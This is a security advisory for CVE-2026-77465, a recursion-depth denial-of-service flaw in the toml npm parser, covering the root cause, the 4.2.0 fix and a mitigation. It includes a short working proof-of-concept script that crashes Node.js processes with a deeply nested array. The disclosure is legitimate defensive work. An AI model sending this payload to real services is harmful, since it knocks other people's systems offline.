high · 7.5CVE-2026-77465Sep 3, 2026

CVE-2026-77465: toml Uncontrolled Recursion (DoS)

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The toml npm package crashes any Node.js process that calls toml.parse() on a deeply nested array or inline table, because the Peggy-generated parser has no recursion depth limit, letting an attacker…

Packagetoml
Ecosystemnpm
Affected< 4.2.0
Fixed in4.2.0
CVE-2026-77465: toml Uncontrolled Recursion (DoS)

The problem

toml-node's lib/parser.js is generated by Peggy 5.1.0 as a recursive-descent parser. The peg$parsevalue function calls peg$parsearray, which calls peg$parsevalue again for each array element, with no depth counter anywhere in the chain.

A document with a few thousand nested arrays exhausts the Node.js call stack in milliseconds. The resulting RangeError is not a subclass of the parser's SyntaxError, so typical error handlers that check for e.line or e instanceof SyntaxError rethrow it as an uncaught exception, taking down the worker or process.

Proof of concept

A working proof-of-concept for CVE-2026-77465 in toml, with the exact payload below.

javascript
// poc.js — run with: node poc.js (toml <= 4.1.2, any Node.js)
const toml = require('toml');

// Build a bare nested array 3000 levels deep (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;   // 6003 bytes

toml.parse(payload);
// => RangeError: Maximum call stack size exceeded

The root cause is CWE-674: the mutual recursion path peg$parsevalue -> peg$parsearray -> peg$parsevalue has no base-case guard on nesting depth. Because lib/parser.js is machine-generated from src/toml.pegjs, there is no hand-written function to patch in place.

The fix in 4.2.0 (PR #72, commit 967b8b0) adds a pre-parse bracket-depth scan in the entry-point (index.js) that counts [ and { characters and throws a plain Error before the recursive parser is ever entered. A byte-length limit alone is not sufficient, since the crash payload is only ~5-6 KB.

The fix

Upgrade toml to version 4.2.0 or later (npm install toml@latest). If you cannot upgrade immediately, add your own nesting-depth guard before calling toml.parse(): count the maximum bracket depth in the raw string and reject anything above a few hundred levels.

A request body size limit alone does not protect you.

Reporter not attributed.

References: [1][2][3][4]

Related research